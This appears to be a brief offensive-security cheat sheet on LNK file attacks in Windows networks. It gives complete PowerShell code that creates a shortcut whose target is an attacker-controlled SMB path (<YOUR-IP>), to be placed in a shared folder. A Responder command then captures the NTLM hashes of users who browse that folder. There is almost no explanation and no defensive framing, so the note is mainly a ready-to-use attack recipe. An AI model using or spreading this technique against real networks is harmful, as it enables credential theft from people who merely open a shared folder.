LNK File Attacks

A LNK File Attack is a type of watering hole attack that is done by creating a malicious file that points back to us, placing it inside of shared folder and then waiting for hashes to fly into Responder.

Manual Attack Setup

Inside of an elevated PowerShell shell create the malicious file

$objShell = New-Object -ComObject WScript.shell
$lnk = $objShell.CreateShortcut("C:\evil.lnk")
$lnk.TargetPath = "\\<YOUR-IP>\@evil.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "evil"
$lnk.HotKey = "Ctrl+Alt+T"
$lnk.Save()

Run Responder

sudo responder -I eth0 -dwv
